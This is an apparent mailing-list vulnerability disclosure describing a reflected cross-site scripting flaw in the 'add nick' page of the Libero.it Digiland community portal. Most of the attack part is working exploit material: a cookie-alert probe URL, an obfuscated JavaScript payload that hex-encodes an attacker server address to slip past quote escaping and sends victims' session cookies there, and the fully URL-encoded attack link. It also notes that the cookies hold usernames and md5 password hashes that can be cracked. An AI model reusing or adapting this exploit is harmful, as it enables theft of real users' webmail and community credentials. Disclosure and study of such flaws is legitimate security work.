[ml] Vulnerabilità XSS di Libero.it

Libero.it, one of the most important italian ISP (www.libero.it) is
affected from a XSS vulnerability.
The vulnerability can be found in the "Community" section of Libero
portal, and the affected functionality is "add nick" (
http://digiland.libero.it/profilo.phtml?nick=).
The implementation of this functionality allows the injection of
malicious code in the URL, so that an attacker can steal username and
password of the victim accessing his cookie.

The normal URL would be something linke this:

http://digiland.libero.it/profilo.phtml?nick=mickey

where "mickey" is the name of the nick i'd like to add to mu buddy list.
Trough a simple XSS locator can be found that the page is vulnerable
to the XSS vector:
http://digiland.libero.it/profilo.phtml?nick=%3cIMG%20SRC=javascript:alert(document.cookie
)>

The cookie showed contains the victim username and password (used for
both the Community and the Webmail): the username is stored
in plain text while the password is hashed with md5 algorithm (most
password are 5-6 char long and can be decrypted using a
md5-rainbowtables approach)
The URL can be built so that is possible to automatically post victim
cookies to a remote server.

The Libero.it web application performs a simple parsing of the posted
URL, so that quote and double-quote (' and ") chars are escaped by
putting a \ before of them (both using ASCII and URL encoding).
So it's a bit tricky to pass in the XSS URL the remote server URL and
the cookie.
This control can be avoided constructing the remote server URL from
inside the web application logic

- the attacker remote base url is encoded using URL encoding and the %
char is removed: (http://82.53.175.227:8080/sample/hello?c= -->

687474703A2F2F38322E35332E3137352E3232373A383038302F73616D706C652F68656C6C6F3F633D)

- the following script can be easily attached to the webapp url:


<script>
c=document.cookie;
pcent=/%/.source;
str=/687474703A2F2F38322E35332E3137352E3232373A383038302F73616D706C652F68656C6C6F3F633D/.source;
temp=str.substring(0,0);
for(i=0;i<str.length;i+=2){temp+=pcent+str.substring(i,i+2)};
tot=unescape(temp)+c;
document.location.href=tot;
</script>

(on some browser the "eval()" method must be applied on "tot")

- the so composed script is URL encoded and attached to the webapp URL:
http://digiland.libero.it/profilo.phtml?nick=%3C%73%63%72%69%70%74%3E%0D%0A%63%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%0D%0A%70%63%65%6E%74%3D%2F%25%2F%2E%73%6F%75%72%63%65%3B%0D%0A%73%74%72%3D%2F%36%38%37%34%37%34%37%30%33%41%32%46%32%46%33%38%33%32%32%45%33%35%33%33%32%45%33%31%33%37%33%35%32%45%33%32%33%32%33%37%33%41%33%38%33%30%33%38%33%30%32%46%37%33%36%31%36%44%37%30%36%43%36%35%32%46%36%38%36%35%36%43%36%43%36%46%33%46%36%33%33%44%2F%2E%73%6F%75%72%63%65%3B%0D%0A%74%65%6D%70%3D%73%74%72%2E%73%75%62%73%74%72%69%6E%67%28%30%2C%30%29%3B%0D%0A%66%6F%72%28%69%3D%30%3B%69%3C%73%74%72%2E%6C%65%6E%67%74%68%3B%69%2B%3D%32%29%7B%74%65%6D%70%2B%3D%70%63%65%6E%74%2B%73%74%72%2E%73%75%62%73%74%72%69%6E%67%28%69%2C%69%2B%32%29%7D%3B%0D%0A%74%6F%74%3D%75%6E%65%73%63%61%70%65%28%74%65%6D%70%29%2B%63%3B%0D%0A%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%3D%74%6F%74%3B%0D%0A%3C%2F%73%63%72%69%70%74%3E

Greetings,

Rosario Valotta